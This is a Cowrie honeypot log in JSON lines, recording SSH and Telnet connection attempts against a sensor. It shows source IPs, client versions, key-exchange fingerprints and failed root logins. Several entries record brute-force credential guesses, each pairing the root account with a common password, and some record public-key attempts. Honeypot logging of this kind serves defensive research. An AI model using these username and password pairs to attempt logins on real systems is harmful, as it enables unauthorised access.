{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:a0:b7:90:c6:64:c6:3e:ef:aa:92:4d:3a:51:0e:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA8ow5knJ922MwQikExdffbRQVrqgpsM1Z02M0FpC1UDP++Ri7/c3as1EbHC9uk7cXKzO+2Es78NG430PLx+grSnP2kegBDMwEQVqD8l1GMsnYt0Lr+jo7D5RaDp8XeujpYaSe0lM0Nzad2uI78pYH0OoaBqw9HLULya+178Vecd08zpA8U+OO6hflSd2dQ8GK5lsi11nWwui2ACv6OQeaTdR3SDKhahX8Zz1bsLl8wqdadmV6AUmtP+dC/1pq1f3eO24nEZzuI1/4u+wbrUM2VK2MbeouJ/jc3+h4suViT/rNqTnaTf791aEUXcykQw/jEvjPSQbhCL0LfkpXNkVF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.638346Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:6d:88:f5:b5:4a:6d:8b:2d:63:9e:00:75:8a:93:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2mg3LRtFuIpYTQ9Hbeab1M1L/Hcr2MCTB0Tr8RriZjStGWSkkjr6+77jDMR2N3/ManLzwyLiqDbFwPfmHgYLYv9/2juk4uMOs8FgyX9QLMjikJP4mAX0uSD+zsLox9XYbY05uGtzdTfxFNgv0kfo+kKF5hB0uoVmXVp/68riWCRLCnpHGgof/O/JYwc3EkQEWNGVZewwGmevYCZ3OTM3+Az7xMW0AaGKSmQtcYxmsfSqVuYyxVxhmKPYBcV87W7KUQxqIcoboiL/yiM6KcoRUzoeUJXSbKAKjPzRBUDjo8iGqJNTdWbmlxRXoffKZWOg6nE9OMXo1yTIERjXzYGBL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:6d:88:f5:b5:4a:6d:8b:2d:63:9e:00:75:8a:93:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.672301Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:6d:88:f5:b5:4a:6d:8b:2d:63:9e:00:75:8a:93:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2mg3LRtFuIpYTQ9Hbeab1M1L/Hcr2MCTB0Tr8RriZjStGWSkkjr6+77jDMR2N3/ManLzwyLiqDbFwPfmHgYLYv9/2juk4uMOs8FgyX9QLMjikJP4mAX0uSD+zsLox9XYbY05uGtzdTfxFNgv0kfo+kKF5hB0uoVmXVp/68riWCRLCnpHGgof/O/JYwc3EkQEWNGVZewwGmevYCZ3OTM3+Az7xMW0AaGKSmQtcYxmsfSqVuYyxVxhmKPYBcV87W7KUQxqIcoboiL/yiM6KcoRUzoeUJXSbKAKjPzRBUDjo8iGqJNTdWbmlxRXoffKZWOg6nE9OMXo1yTIERjXzYGBL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.675805Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:f3:1f:07:e6:f1:df:15:9b:91:91:9c:48:59:68:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKYjo+oVRLz6NFA2UM4NDCcQ2BHvnIWA0i6GMISfkIoXIsqnEHTAuZgM+94eaM62GkqFkUCdcm/6UhNdYOKyahAyHe6QczoEYOlzOKMVskz0sHzxgQ0e89OSJR9O1QUXx+5wz0K15Tk/ecqTgjk4FAUdpks5GpswuFKmswAyiEvBi07rOCjy3cQNdRXBWC1OZXWyWEYdQ0d7MCpj59L49DlmQyOOPkku5ekrCBFxzY8VjFNUbM0OTYEciXpFs9HqCGyYj+mZi+e2+coHB7U2utEFYAmldstJGLxK0srfC2yWxwXK1ja4takrV5Be5RCcjTZ0CENsmTGWyWW/megmYXSqhcNL8xt9JD+lyEB100QAnoox6H4QIGUlBwla2qLrM8vB/ipr+Ndkwu5WQbLK1B17uMSZ4LG/+yxazyWJwZrNcuM6xO/6EUDfLDTAOy85grCmgvfcneY4AvIgdVQWwthBv4tlA6e22NQSPDAEUa8kSegPgdphWs7w34nQcNLVjQrGyXvjgVzq2AhfjNnZJtCgIWpCM/7vGFHT4rmnjWzxC6wMbVDxx6MJKsA75wjUshjw2vZV7gtD5O3Syx9C0tdC1engK4UBHaZzXq84Pu85dvnr8UXbin1RuFp5zShavdQnMjEeX7hApsYHgpJBY4sifP5cC81GDo+Q3XJe53KQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:f3:1f:07:e6:f1:df:15:9b:91:91:9c:48:59:68:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.710016Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:f3:1f:07:e6:f1:df:15:9b:91:91:9c:48:59:68:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKYjo+oVRLz6NFA2UM4NDCcQ2BHvnIWA0i6GMISfkIoXIsqnEHTAuZgM+94eaM62GkqFkUCdcm/6UhNdYOKyahAyHe6QczoEYOlzOKMVskz0sHzxgQ0e89OSJR9O1QUXx+5wz0K15Tk/ecqTgjk4FAUdpks5GpswuFKmswAyiEvBi07rOCjy3cQNdRXBWC1OZXWyWEYdQ0d7MCpj59L49DlmQyOOPkku5ekrCBFxzY8VjFNUbM0OTYEciXpFs9HqCGyYj+mZi+e2+coHB7U2utEFYAmldstJGLxK0srfC2yWxwXK1ja4takrV5Be5RCcjTZ0CENsmTGWyWW/megmYXSqhcNL8xt9JD+lyEB100QAnoox6H4QIGUlBwla2qLrM8vB/ipr+Ndkwu5WQbLK1B17uMSZ4LG/+yxazyWJwZrNcuM6xO/6EUDfLDTAOy85grCmgvfcneY4AvIgdVQWwthBv4tlA6e22NQSPDAEUa8kSegPgdphWs7w34nQcNLVjQrGyXvjgVzq2AhfjNnZJtCgIWpCM/7vGFHT4rmnjWzxC6wMbVDxx6MJKsA75wjUshjw2vZV7gtD5O3Syx9C0tdC1engK4UBHaZzXq84Pu85dvnr8UXbin1RuFp5zShavdQnMjEeX7hApsYHgpJBY4sifP5cC81GDo+Q3XJe53KQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.713115Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:49:88:f6:07:71:09:89:c8:c1:be:9d:74:f3:5b:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDf9AiNlce7dTDNKHNkOqr2hxr64y5/twZOQP0vyaB97vypbViLgicq5DwIk5HGDqnV7GlRn+RnwYwnUYAQs8anFbdUeKT21W4Nr+r9+Oe+JgdAKifMfSfRZLcTsqPE28f5MaPXFnhrzvjDrzl/S3FZEXdy+A77mRU5YwzIG1Xu69kViuaiJgXfqifT9+9iqwrrCewsKbvkIASgxXUFgQTCOsV1SqOvKqInPb0QD1Aafax35fBX3h+FDebn/J3w2HX2GdQ2IpbzKTJNAU1F1w4Sl60u8eU5l8mvwEwzRvz86wDs9pEH6qQXZE2ZcyzwoK4hCJ5WTsFMqT5AHew8YpdKQ9kH/ty8sS0Pu84MReSqo04ozGb2Khaw4pczxdXou/HYd8Wmgj2wuo2Db3VI8IWu5he83lQUnvNbAGumSfkYY2fcMIgIgWA1lLiUr9RFtW7mm4RTWRMVNVSV21sT4wu81QCDOMTxFN6ABqZ6qB0KfsJhOdzzfae8Rhfh4QQa17DISRa0hjN/xpo6fwg1DpbJPk6iINmPaqZPsVHmCLQiiBPIiZTkECRBBIoiOH0GGiWg9JiIabvwBj9yuOxGU3vGSEo0BHzLcn2GcCjWb1zyfGGqvZUBnkn29ARXgiqTbwckUuLqj10vOshaIKi72ngiXDWmKiMhVZWll8VHnwo6fw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:49:88:f6:07:71:09:89:c8:c1:be:9d:74:f3:5b:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.747839Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:49:88:f6:07:71:09:89:c8:c1:be:9d:74:f3:5b:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDf9AiNlce7dTDNKHNkOqr2hxr64y5/twZOQP0vyaB97vypbViLgicq5DwIk5HGDqnV7GlRn+RnwYwnUYAQs8anFbdUeKT21W4Nr+r9+Oe+JgdAKifMfSfRZLcTsqPE28f5MaPXFnhrzvjDrzl/S3FZEXdy+A77mRU5YwzIG1Xu69kViuaiJgXfqifT9+9iqwrrCewsKbvkIASgxXUFgQTCOsV1SqOvKqInPb0QD1Aafax35fBX3h+FDebn/J3w2HX2GdQ2IpbzKTJNAU1F1w4Sl60u8eU5l8mvwEwzRvz86wDs9pEH6qQXZE2ZcyzwoK4hCJ5WTsFMqT5AHew8YpdKQ9kH/ty8sS0Pu84MReSqo04ozGb2Khaw4pczxdXou/HYd8Wmgj2wuo2Db3VI8IWu5he83lQUnvNbAGumSfkYY2fcMIgIgWA1lLiUr9RFtW7mm4RTWRMVNVSV21sT4wu81QCDOMTxFN6ABqZ6qB0KfsJhOdzzfae8Rhfh4QQa17DISRa0hjN/xpo6fwg1DpbJPk6iINmPaqZPsVHmCLQiiBPIiZTkECRBBIoiOH0GGiWg9JiIabvwBj9yuOxGU3vGSEo0BHzLcn2GcCjWb1zyfGGqvZUBnkn29ARXgiqTbwckUuLqj10vOshaIKi72ngiXDWmKiMhVZWll8VHnwo6fw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.752060Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.787088Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"millard","message":"login attempt [root/millard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.805132Z","src_ip":"106.75.127.184","session":"5a2daeb95d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":57784,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7fc7024b751","protocol":"ssh","message":"New connection: 62.133.63.178:57784 (159.203.135.109:22) [session: a7fc7024b751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.811584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.815484Z","src_ip":"62.133.63.178","session":"a7fc7024b751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.938690Z","src_ip":"62.133.63.178","session":"a7fc7024b751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"renata","message":"login attempt [root/renata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:50.312667Z","src_ip":"62.133.63.178","session":"a7fc7024b751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:51.040799Z","src_ip":"106.75.127.184","session":"5a2daeb95d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:51.438193Z","src_ip":"62.133.63.178","session":"a7fc7024b751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":55910,"dst_ip":"10.17.0.5","dst_port":22,"session":"78a5a8f973a2","protocol":"ssh","message":"New connection: 166.1.144.134:55910 (10.17.0.5:22) [session: 78a5a8f973a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:54.973017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:54.977992Z","src_ip":"166.1.144.134","session":"78a5a8f973a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:55.084473Z","src_ip":"166.1.144.134","session":"78a5a8f973a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:55.529876Z","src_ip":"166.1.144.134","session":"78a5a8f973a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:56.638802Z","src_ip":"166.1.144.134","session":"78a5a8f973a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34718,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a3192773280","protocol":"telnet","message":"New connection: 152.42.224.71:34718 (10.17.0.5:23) [session: 5a3192773280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:58.779432Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34730,"dst_ip":"10.17.0.5","dst_port":23,"session":"0588e63c48bb","protocol":"telnet","message":"New connection: 152.42.224.71:34730 (10.17.0.5:23) [session: 0588e63c48bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:01.384752Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":57796,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf9678f429fa","protocol":"ssh","message":"New connection: 43.135.139.74:57796 (10.17.0.5:22) [session: bf9678f429fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:02.888758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:02.892864Z","src_ip":"43.135.139.74","session":"bf9678f429fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:02.960947Z","src_ip":"43.135.139.74","session":"bf9678f429fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456","message":"login attempt [root/789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:03.268412Z","src_ip":"43.135.139.74","session":"bf9678f429fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:04.339970Z","src_ip":"43.135.139.74","session":"bf9678f429fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":36862,"dst_ip":"10.17.0.5","dst_port":22,"session":"54be78b7cf4d","protocol":"ssh","message":"New connection: 165.154.6.86:36862 (10.17.0.5:22) [session: 54be78b7cf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:06.618803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:06.629183Z","src_ip":"165.154.6.86","session":"54be78b7cf4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:07.471513Z","src_ip":"165.154.6.86","session":"54be78b7cf4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stupid","message":"login attempt [root/stupid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:08.344354Z","src_ip":"165.154.6.86","session":"54be78b7cf4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:09.559688Z","src_ip":"165.154.6.86","session":"54be78b7cf4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":2084,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ced8ea16576","protocol":"ssh","message":"New connection: 165.154.227.158:2084 (10.17.0.5:22) [session: 2ced8ea16576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:15.732543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:15.737515Z","src_ip":"165.154.227.158","session":"2ced8ea16576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:15.958238Z","src_ip":"165.154.227.158","session":"2ced8ea16576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":94.88052678108215,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:16.696464Z","src_ip":"152.42.224.71","session":"d80b60be9478","protocol":"telnet"}
